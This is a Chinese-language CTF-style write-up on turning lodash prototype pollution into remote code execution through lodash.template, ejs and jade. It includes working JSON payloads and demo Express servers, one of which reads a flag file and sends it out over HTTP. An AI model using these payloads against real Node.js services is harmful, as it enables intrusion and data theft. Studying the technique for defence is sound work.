-
lodash从污染到rce
以code-breaking2018中的thejs为例
-
搭环境
-
污染
发现存在原型链污染的条件:键可控且值可修改。
相同的原理,利用lodash.mergeWith,lodash.set,lodash.setWith也可造成原型链污染。 -
rce过程
利用lodash.template
单步进入到这
然后进入lodash.template中
利用Function构造函数来执行命令。
payload:{"__proto__":{"sourceURL":"xxx\r\nvar require = global.require || global.process.mainModule.constructor._load;var result = require('child_process').execSync('cat /flag_thepr0t0js').toString();var req = require('http').request(`http://localhost:12333/${result}`);req.end();\r\n"}}
-
-
ejs实现rce
-
环境搭建
test.js
var express = require('express'); var _= require('lodash'); var ejs = require('ejs'); var app = express(); //设置模板的位置 app.set('views', __dirname); //对原型进行污染 var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}'; _.merge({}, JSON.parse(malicious_payload)); //进行渲染 app.get('/', function (req, res) { res.render ("./test.ejs",{ message: 'lufei test ' }); }); //设置http var server = app.listen(8081, function () { var host = server.address().address var port = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) });
test.ejs
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> </head> <body> <h1><%= message%></h1> </body> </html>
设置debug方式如上
-
rce过程
进入response.js中
进入application.js的tryRender中
然后进入view.js中
进入ejs.js中,准备开始渲染,先进到tryHandleCache中
然后调用handleCache
进入compile方法,开始渲染
发现传入的outputFunctionName直接被拼接
成功rce
payload:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
-
-
jade实现rce
-
搭环境
app.js
var express = require('express'); var lodash= require('lodash'); var jade = require('jade'); var app = express(); //设置模板的位置与种类 app.set('views', __dirname); app.set("view engine", "jade"); //对原型进行污染 var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}'; lodash.merge({}, JSON.parse(malicious_payload)); //进行渲染 app.get('/', function (req, res) { res.render ("index.jade",{ message: 'whoami test' }); }); //设置http var server = app.listen(8000, function () { var host = server.address().address var port = server.address().port console.log("应用实例,访问地址为 http://%s:%s", host, port) });
index.jade
h1 #{message} p #{message}
-
rce过程
刚开始和ejs的很像,从response.js开始,每次进入下一个render函数中。
然后进入index.js中
进入handleTemplateCache中
进入complie中并进行parsed解析
然后通过原型链污染绕过进入这个if语句
解析完之后再看compile部分
进入compiler.js中
在这里进行了AST的解析,把最后的结果放进buf中,关注visit函数,如果这里的debug为真,那么就可以拼接传入的line,从而实现rce。
payload:{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}```
-
参考文献:
https://www.anquanke.com/post/id/248170#h2-10